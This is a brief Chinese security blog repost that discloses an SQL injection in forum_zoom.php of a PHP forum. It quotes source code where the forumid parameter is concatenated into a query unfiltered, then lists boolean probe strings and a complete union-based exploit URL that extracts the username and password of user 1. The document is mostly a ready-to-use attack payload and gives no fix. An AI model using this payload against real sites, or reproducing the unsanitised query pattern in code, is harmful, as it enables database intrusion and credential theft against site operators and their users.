鬼仔's Blog

来源:misssky's BLOG

forum_zoom.php
31~48行
if ($forumid != ""){
$isforum = " && forumid IN (".$forumid.") ";
}else{
$isforum = "";
}
//forumid明显没有过滤
……
$sql = "Select threadid, title, lastpost FROM ".$ym_thread_tab." Where isshow="1" ".$isforum." orDER BY ".$isaction." LIMIT 0, ".$shownum;
发生了注射

method:
)%20and%201=1/* 正常
)%20and%201=2/* 空白
)%20and%201=2%20union%20select%201/* 报错
………………………………………….==

exp:[union]
forum_zoom.php?forumid=15)%20and%201=2%20union%20select%201,concat(username,0x3f,password),3%20from%20user%20where%20userid=1/*